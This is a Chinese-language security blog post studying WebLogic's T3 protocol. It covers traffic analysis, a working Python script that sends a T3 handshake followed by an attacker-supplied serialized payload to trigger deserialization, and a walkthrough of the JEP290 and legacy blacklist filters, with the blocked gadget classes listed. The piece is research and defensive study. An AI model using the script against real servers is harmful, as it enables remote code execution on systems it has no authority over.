Learning Man's Blog

Weblogic T3 协议学习

字数统计: 1.8k阅读时长: 8 min
2020/04/01

How to Implement WebLogic RMI

首先构造 rmi 服务端,以便观察数据包

根据官方文档,直接生成 jar 包

-w775

将生成的jar包放到测试domain的lib目录下

-w752

将目标server类配置为启动类

-w988

重启 weblogic 后即可进行调用

-w666

流量解析

红色部分为 request
蓝色部分为 response

P.S. 此节当时用了12.1.3.0.0版本,本文其他内容均为12.2.1.4.0版本

-w1120

通过ac ed 00 05筛选出请求反序列化部分依次为

weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.JVMID
weblogic.rjvm.JVMID
---
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ImmutableServiceContext
---
weblogic.rjvm.ImmutableServiceContext

T3 协议利用

根据数据包请求内容,我们主体需要分为两部分进行发送

  1. 握手🤝

     t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n
  2. 序列化数据

    这里涉及两种方式,实际上也算是同一种

    1. 将上面提到的序列化部分其中一项改为恶意 payload

    2. 取消所有序列化部分,在下面数据后直接拼接恶意 payload

      000005fe016501ffffffffffffffff000000710000ea60000000184f0fb5416958bf21f2810099d59af6a410012655b1f4c837027973720078720178720278700000000c00000002000000000000000400000001007070707070700000000c00000002000000000000000400000001007006fe010000

      -w647

最简单的情况当然是后者,下面是利用脚本,注意头 4 字节为数据总长度

import socket
import struct
import sys


def send(ip, port, file):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)

        server = (ip, port)
        sock.connect(server)

        # Handshake
        handshake = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n"
        print("[>] Sending: %s" % handshake)
        sock.sendall(handshake)

        # Receive
        message = sock.recv(1024)
        print("[<] Receive: %s" % message)

        # Send Payload
        Obj = open(file, 'rb').read()
        payload = b"\x00\x00\x05\xfe\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x0f\xeb\x30\x46\x27\x2d\x8c\xc7\x52\x16\xbb\xd1\x9e\x42\x00\xdc\x6a\x8e\x80\xbe\xbb\x7e\xd5\xbe\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00"
        payload += Obj
        payload = struct.pack(">I", len(payload)) + payload[4:]
        # print("[*] Sending Payload: %s" % payload)
        print("[>] Sending Payload ...")
        sock.sendall(payload)

        # Receive
        message = sock.recv(1024)
        print("[<] Receive: %s" % message)
    except Exception as e:
        print("[!] Error: %s" % e)


if __name__ == '__main__':
    if len(sys.argv) < 4:
        print("Usage: python t3protocol.py 127.0.0.1 7001 payload.bin")
        exit()
    send(sys.argv[1], int(sys.argv[2]), sys.argv[3])

T3 解析过程

为了下断点,先将 src.zip 加入到 Classpath 中

-w662

readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

具体过程可见https://www.anquanke.com/post/id/201432#h2-3
不再赘述

过滤机制

JEP290

JEP290主要描述了这么几个机制:

  1. 提供一个限制反序列化类的机制,白名单或者黑名单
  2. 限制反序列化的深度和复杂度
  3. 为RMI远程调用对象提供了一个验证类的机制
  4. 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器

-w499

1. filterCheck in JDK

我们通过在8u151版本下实现RMI,并尝试用cc3反序列化来查看机制如何进行过滤

-w617

-w715

跟入 checkInput,serialFilter为sun.rmi.registry.RegistryImpl对象,所以实际进入到rt.jar!sun.rmi.registry.RegistryImpl#registryFilter进行过滤

可以看到对深度、数组大小和基本类型做了判断

-w925

以及最后的这段

String.class != var2 
&& !Number.class.isAssignableFrom(var2) 
&& !Remote.class.isAssignableFrom(var2) 
&& !Proxy.class.isAssignableFrom(var2) 
&& !UnicastRef.class.isAssignableFrom(var2) 
&& !RMIClientSocketFactory.class.isAssignableFrom(var2) 
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) 
&& !ActivationID.class.isAssignableFrom(var2) 
&& !UID.class.isAssignableFrom(var2) 
? Status.REJECTED : Status.ALLOWED;

直接禁用了sun.reflect.annotation.AnnotationInvocationHandler,所以返回了Status.REJECTED


“JSON反序列化之殇_看雪安全开发者峰会”的时序图

2. Weblogic without JEP290

通过上面在 JDK 中的抵用栈信息,可以看到在 weblogic 中是通过weblogic.rjvm.InboundMsgAbbrev#readObject进入的java.io.ObjectInputStream

-w951

我们跟进ServerChannelInputStream看一下

-w1344

再看一下ServerChannelInputStream的继承关系

-w626

ServerChannelInputStream继承自FilteringObjectInputStream,并通过重写resolveClass、resolveProxyClass从而进行反序列化过滤防御

我们跟进checkLegacyBlacklistIfNeeded看一下,到这weblogic.utils.io.oif.WebLogicObjectInputFilter#checkLegacyBlacklistIfNeeded会根据是否支持JEP290自带过滤,在不可用情况下会使用isBlacklistedLegacy进行防御

-w781

至于哪里调用JEP290过滤先放一边,我们先看下isBlacklistedLegacy

-w786

如果类名第一个字符为[(数组),或为primitiveTypes中的某项,就不会进行检测

-w1124
之后会检查类型类名、包名是否在LEGACY_BLACKLIST中,有一项不符即回到上面抛出异常

我们看看LEGACY_BLACKLIST是怎么来的

-w917

跟进weblogic.utils.io.oif.WebLogicFilterConfig可以发现 BLACKLIST 取决于constructLegacyBlacklist方法,考虑上下文追溯至processLegacyBlacklistProperties,因为我们考虑的是不支持 JEP290 的情况,所以进入到最后的 else 分支中

-w1201

所以 BLACKLIST 来源主要来自以下三处

private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server", "org.jboss.interceptor.builder", "org.jboss.interceptor.reader", "org.jboss.interceptor.proxy", "org.jboss.interceptor.spi.metadata", "org.jboss.interceptor.spi.model", "com.bea.core.repackaged.springframework.aop.aspectj", "com.bea.core.repackaged.springframework.aop.aspectj.annotation", "com.bea.core.repackaged.springframework.aop.aspectj.autoproxy", "com.bea.core.repackaged.springframework.beans.factory.support", "org.python.core"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};
System.getProperty("weblogic.rmi.blacklist");

3. JEP290 in Weblogic

回到 JEP290 调用栈,我们知道最后是调用filterCheck进行的过滤

-w1332

跟入,此时serialFilter为sun.misc.ObjectInputFilter对象(注意 JDK 为8u151)

-w1642

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.UnicastRemoteObject;
!java.rmi.server.RemoteObjectInvocationHandler;
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.RemoteObject;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*;
!java.rmi.activation.*;
!sun.rmi.server.*;
!org.jboss.interceptor.builder.*;
!org.jboss.interceptor.reader.*;
!org.jboss.interceptor.proxy.*;
!org.jboss.interceptor.spi.metadata.*;
!org.jboss.interceptor.spi.model.*;
!com.bea.core.repackaged.springframework.aop.aspectj.*;
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;
!com.bea.core.repackaged.springframework.beans.factory.support.*;
!org.python.core.*

看上面过滤的类是不是很熟悉,实际也是weblogic.utils.io.oif.WebLogicFilterConfig生成的 filter

跟入sun.misc.ObjectInputFilter.Config.Global#checkInput,整体代码和registryFilter中的类似,红框处是进行serialFilter黑名单匹配

这里用到了 Function<T, U> 接口和 lambda 语法

-w1608

下面是 filter 通过生解析生成过程,需要在 weblogic 启动时下断点观察,传入的值和serialFilter是一致的

-w1400

如果返回 null 或者 REJECTED 都会抛出异常结束反序列化流程

参考资料

  1. Weblogic t3 协议利用与防御
  2. 从WebLogic看反序列化漏洞的利用与防御
  3. 反序列化漏洞的末日?JEP290机制研究
CATALOG
  1. 1. How to Implement WebLogic RMI
  2. 2. 流量解析
  3. 3. T3 协议利用
  4. 4. T3 解析过程
  5. 5. 过滤机制
    1. 5.1. JEP290
    2. 5.2. 1. filterCheck in JDK
    3. 5.3. 2. Weblogic without JEP290
    4. 5.4. 3. JEP290 in Weblogic
  6. 6. 参考资料